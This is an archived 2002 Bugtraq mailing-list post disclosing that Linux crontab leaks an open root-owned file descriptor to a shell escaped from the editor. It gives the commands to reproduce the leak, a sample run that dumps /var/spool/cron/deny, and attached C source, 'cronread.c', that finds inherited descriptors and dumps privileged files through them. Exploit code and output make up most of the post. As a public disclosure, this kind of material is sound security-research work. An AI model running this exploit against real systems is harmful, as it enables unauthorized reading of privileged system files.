[25362] in bugtraq

home help back first fref pref prev next nref lref last post

Re: trusting user-supplied data (was Re: FreeBSD Security Advisory

daemon@ATHENA.MIT.EDU (Paul Starzetz)
Sat May 4 01:26:56 2002

Message-ID: <3CD178C6.80102@starzetz.de>
Date: Thu, 02 May 2002 19:35:02 +0200
From: Paul Starzetz <paul@starzetz.de>
MIME-Version: 1.0
To: "Steven M. Bellovin" <smb@research.att.com>
Cc: Wietse Venema <wietse@porcupine.org>, bugtraq@securityfocus.com
Content-Type: multipart/mixed;
 boundary="------------050705040305040101060705"

--------------050705040305040101060705
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Steven M. Bellovin wrote:

>>The list includes, but is not limited to:
>>
>>   command-line array
>>   environment array
>>   open files
>>    
>>
I don't think there was enough research on open file descriptor 
problems. For example, I found this small bug while playing yround with 
crontab on Linux:

gcc cronread.c -o cronread

export VISUAL=/bin/vi
crontab -e

<:sh> escape to shell

./cronread

0000 iz OPEN    st_uid 24129    st_gid 5        PATH /dev/pts/15/fd/0   
dump (y/n) n

0001 iz OPEN    st_uid 24129    st_gid 5        PATH /dev/pts/15/fd/1   
dump (y/n) n

0002 iz OPEN    st_uid 24129    st_gid 5        PATH /dev/pts/15/fd/2   
dump (y/n) n

0003 iz OPEN    st_uid 0        st_gid 0        PATH 
/var/spool/cron/deny       dump (y/n) y

--- DUMPING /var/spool/cron/deny ---

guest
gast


---
0005 iz OPEN
0006 iz OPEN


ls -l /var/spool/cron/deny
-rw-------    1 root     root           11 Oct 25  2001 /var/spool/cron/deny


So I'm able to read a privileged system file using this technique :-> 
Not necessary to mention the consequences of inheriting such a fd open 
for writing. More effort must be put to investigate this problem in 
current Linux/Unix suid/setgid binaries.

have fun with the attached source.

/ih


--------------050705040305040101060705
Content-Type: text/plain;
 name="cronread.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="cronread.c"

/****************************************************************
*								*
*	insecure FD seeker					*
*	by IhaQueR '2002					*
*								*
****************************************************************/





#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>



#define TMPLEN 1024



void dumpfd(int fd, char *name)
{
int r;
char c=13;


	r = lseek(fd, 0, SEEK_SET);
	if(r == (off_t)-1) {
		perror("lseek");
		return;
	}
	printf("\n--- DUMPING %s ---\n\n", name);
	do {
		r = read(fd, &c, sizeof(c));
		if(r>0) {
			printf("%c", c);
		}
	} while(r>0);
	printf("\n\n---");
	fflush(stdout);
}


int main()
{
int i, r, f;
uid_t uid;
gid_t gid;
struct stat st;
char buf[TMPLEN];


	uid = getuid();
	gid = getgid();

	for(i=0; i<NR_OPEN; i++) {
		r = fstat(i, &st);
		if(!r) {
			printf("\n%.4d iz OPEN", i);
			if(st.st_uid != uid || st.st_gid != gid) {
				printf("\tst_uid %d\tst_gid %d", st.st_uid, st.st_gid);
				snprintf(buf, sizeof(buf)-1, "/proc/%d/fd/%d", getpid(), i);
				buf[sizeof(buf)-1] = 0;
				readlink(buf, buf, sizeof(buf)-1);
				buf[sizeof(buf)-1] = 0;
				printf("\tPATH %s ", buf);
				printf("\tdump (y/n) ");
				r = getchar();
				if(r == 'y')
					dumpfd(i, buf);
				getchar();
			}
		}
	}
	printf("\n\n");
	fflush(stdout);

return 0;
}


--------------050705040305040101060705--


home help back first fref pref prev next nref lref last post